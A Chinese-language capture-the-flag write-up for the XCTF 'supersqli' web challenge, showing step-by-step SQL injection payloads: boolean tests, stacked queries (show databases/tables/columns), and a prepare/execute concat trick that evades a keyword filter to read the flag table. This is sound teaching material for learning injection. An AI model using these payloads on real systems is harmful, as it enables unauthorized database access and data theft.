攻防世界-Web-supersqli

本题涉及到了堆叠注入、MySQL预编译

0x01

SQL注入的题目,按照流程来验证SQL注入漏洞。
首先输入1' and '1'='1发现正常输出,然后输入1' and '1'='2发现没有输出,进一步尝试联合注入,输入1' union select 1 #结果返回了

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

可见后端过滤掉了一些SQL关键字,显然不能直接通过这些关键字进行注入。

0x02

尝试使用堆叠注入,构造:1';show databases;#,执行成功了,返回如图:
攻防世界-Web-supersqli但是现在似乎不能验证当前数据库是哪个,不过也不影响我们通过show tables命令来列出当前数据库的表。(通过show tables from XX可以验证现在使用的是supersqli)

0x03

提交1';show tables;#,获取到所有表:
攻防世界-Web-supersqli里面有两个表:words和1919810931114514

0x04

提交1';show columns from words;#列出words表中的字段:
攻防世界-Web-supersqli提交1';show columns from `1919810931114514`;#注意反引号
攻防世界-Web-supersqli发现flag字段

0x05

接下来使用MySQL的预编译来执行对1919810931114514的查询,具体构造方法如下:
1';prepare pre from concat('s', 'elect * from `1919810931114514`');execute pre;#

攻防世界-Web-supersqli